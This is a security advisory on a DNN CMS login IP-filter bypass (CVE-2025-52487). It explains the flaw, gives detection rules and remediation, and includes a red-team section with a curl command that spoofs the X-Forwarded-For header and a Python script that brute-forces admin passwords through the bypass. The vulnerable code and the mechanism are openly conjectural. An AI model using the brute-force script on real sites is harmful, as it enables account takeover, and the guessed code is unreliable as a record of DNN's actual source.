CVE-2025-52487

Executive Summary

CVE-2025-52487 is a critical authentication bypass vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform for the Microsoft ecosystem. The flaw resides in the Login IP Filters feature, which is designed to restrict login attempts to a predefined allow list of IP addresses. A specially crafted HTTP request or the use of a malicious proxy can bypass this filter, allowing attackers to perform brute-force or credential-stuffing attacks from arbitrary IP addresses. This effectively nullifies a key security control intended to protect against unauthorized access.

The vulnerability affects all versions from 7.0.0 up to, but not including, 10.0.1. The vendor has released a patch in version 10.0.1. Given the lack of a public proof-of-concept (PoC) and a low EPSS score, active exploitation is currently unlikely, but the potential impact is severe due to the ease of bypassing IP-based access controls.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core platform issue in the DNN CMS. Organizations using DNN should treat this as a critical supply chain risk, as the platform itself is the affected component. Ensure that all DNN installations are updated to the patched version and that no custom modules or extensions rely on the vulnerable IP filtering mechanism.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Successful exploitation could lead to unauthorized access to sensitive data.
• Integrity (I): High – An attacker could modify or delete data.
• Availability (A): High – An attacker could disrupt service availability.

Threat Level: Critical. The vulnerability allows complete bypass of a security control, enabling brute-force attacks and potential account takeover.

Deep Dive & Mechanics

The DNN Login IP Filters feature is intended to allow administrators to specify a list of trusted IP addresses from which login attempts are permitted. The vulnerability arises from how DNN processes incoming HTTP requests to determine the client's IP address.

DNN likely relies on the X-Forwarded-For or X-Real-IP headers to identify the client IP when behind a proxy or load balancer. The flaw is that the application does not properly validate the source of these headers. An attacker can craft a request with a spoofed X-Forwarded-For header containing an IP address from the allow list, while the actual request originates from a blocked IP. The application then incorrectly treats the spoofed IP as the client's address, bypassing the filter.

Alternatively, the attacker could route traffic through a proxy that they control, which adds a trusted IP to the X-Forwarded-For header. The application trusts this header without verifying the proxy's authenticity.

The core issue is a lack of trust boundary enforcement. The application should only trust X-Forwarded-For headers from known, trusted proxies (e.g., a reverse proxy or load balancer). Without this validation, any client can inject arbitrary IP addresses.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the IP address resolution logic, possibly in a method like GetClientIP() or within the login filter validation.

Vulnerable Code (Conceptual):

public string GetClientIP(HttpRequest request)
{
    string ip = request.Headers["X-Forwarded-For"];
    if (string.IsNullOrEmpty(ip))
    {
        ip = request.UserHostAddress;
    }
    else
    {
        // Takes the first IP in the list, which could be spoofed
        ip = ip.Split(',')[0].Trim();
    }
    return ip;
}

Patched Code (Conceptual):

public string GetClientIP(HttpRequest request)
{
    // Only trust X-Forwarded-For from known proxies
    if (IsFromTrustedProxy(request))
    {
        string ip = request.Headers["X-Forwarded-For"];
        if (!string.IsNullOrEmpty(ip))
        {
            return ip.Split(',')[0].Trim();
        }
    }
    return request.UserHostAddress;
}

private bool IsFromTrustedProxy(HttpRequest request)
{
    // Check if the direct connection is from a configured trusted proxy IP
    string directIP = request.UserHostAddress;
    return TrustedProxyList.Contains(directIP);
}

The patch introduces a check to ensure that the X-Forwarded-For header is only accepted when the request comes directly from a trusted proxy. This prevents arbitrary clients from spoofing the header.

Exploitation & Lab Setup

Red Team

Objective: Bypass DNN Login IP Filters to perform a brute-force attack from a non-allow-listed IP.

Lab Setup:

1. Deploy a vulnerable DNN instance (version 7.0.0 to 10.0.0) with IP filtering enabled, allowing only 192.168.1.100.
2. Attacker machine with IP 10.0.0.5.

Exploitation Steps:

1. Identify the login endpoint (e.g., /Login.aspx or /API/Users/Login).
2. Craft an HTTP request with a spoofed X-Forwarded-For header containing the allowed IP.
3. Use a tool like curl or Burp Suite to send the request.

Example curl command:

curl -X POST https://target-dnn.com/Login.aspx \
  -H "X-Forwarded-For: 192.168.1.100" \
  -d "username=admin&password=wrongpassword"

4. The server will process the request as if it came from 192.168.1.100, bypassing the filter.
5. Automate this with a script to perform brute-force attacks.

Automation Script (Python):

import requests

target = "https://target-dnn.com/Login.aspx"
allowed_ip = "192.168.1.100"
passwords = ["password1", "123456", "admin"]

for pwd in passwords:
    headers = {"X-Forwarded-For": allowed_ip}
    data = {"username": "admin", "password": pwd}
    response = requests.post(target, headers=headers, data=data)
    if "Login failed" not in response.text:
        print(f"Success with password: {pwd}")
        break

Blue Team

Detection & Response:

1. Monitor for Anomalous Headers: Log and alert on requests containing X-Forwarded-For or X-Real-IP headers that do not originate from known proxy IPs.
2. Correlate IP Addresses: Compare the X-Forwarded-For IP with the actual source IP ($remote_addr in Nginx/Apache logs). If they differ and the source is not a trusted proxy, flag the request.
3. Rate Limiting: Implement rate limiting on login endpoints regardless of IP filter status.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests with suspicious or mismatched X-Forwarded-For headers.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| eval client_ip=coalesce(X-Forwarded-For, clientip)
| where client_ip != clientip AND NOT match(clientip, "^10\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.|^192\.168\.")
| stats count by clientip, client_ip, uri

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to DNN login endpoints with X-Forwarded-For or X-Real-IP headers containing IPs from the allow list.
  • Multiple login attempts from the same source IP but with varying X-Forwarded-For values.
  • Requests from IPs not in the allow list that successfully authenticate.

• Host IOCs:

  • DNN logs showing successful logins from IPs not in the configured allow list.
  • Web server logs showing X-Forwarded-For headers that do not match the connecting IP.

• Sample Log Entry (Suspicious):

  10.0.0.5 - - [12/May/2025:10:15:30 +0000] "POST /Login.aspx HTTP/1.1" 200 1234 "-" "Mozilla/5.0" "X-Forwarded-For: 192.168.1.100"
  

Detection Engineering

YARA Rule

rule Detect_DNN_IPFilter_Bypass_Attempt {
    meta:
        description = "Detects HTTP requests attempting to bypass DNN IP filters via X-Forwarded-For spoofing"
        author = "Valters IT"
        date = "2025-05-12"
        cve = "CVE-2025-52487"
    strings:
        $header1 = "X-Forwarded-For:" nocase
        $header2 = "X-Real-IP:" nocase
        $login_path = "/Login.aspx" nocase
        $api_login = "/API/Users/Login" nocase
    condition:
        any of ($header*) and any of ($login*)
}

Sigma Rule

title: DNN Login IP Filter Bypass via X-Forwarded-For
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to bypass DNN IP filters by spoofing X-Forwarded-For headers
author: Valters IT
date: 2025/05/12
tags:
    - attack.t1190
    - cve.2025.52487
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem:
            - '/Login.aspx'
            - '/API/Users/Login'
        cs-header:X-Forwarded-For: '*'
    condition: selection
falsepositives:
    - Legitimate use of proxies or load balancers
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-52487 DNN Login IP Filter Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/Login.aspx"; http_uri;
    content:"X-Forwarded-For"; http_header;
    sid:1000001;
    rev:1;
    reference:cve,2025-52487;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade DNN Platform to version 10.0.1 or later immediately.
2. Workaround: If patching is not possible, disable the IP filter feature temporarily and implement alternative access controls (e.g., VPN, GeoIP blocking).
3. Proxy Validation: Ensure that any reverse proxy or load balancer in front of DNN is configured to strip or overwrite X-Forwarded-For headers from clients, and only add the correct client IP.

Long-Term Mitigations:

1. Network Segmentation: Place DNN behind a WAF or reverse proxy that validates and sanitizes headers.
2. Multi-Factor Authentication (MFA): Enforce MFA for all user accounts to reduce the impact of credential-based attacks.
3. Logging & Monitoring: Enable detailed logging of all login attempts and monitor for anomalies.
4. Regular Security Audits: Conduct periodic code reviews and penetration tests focusing on authentication mechanisms.

Valters IT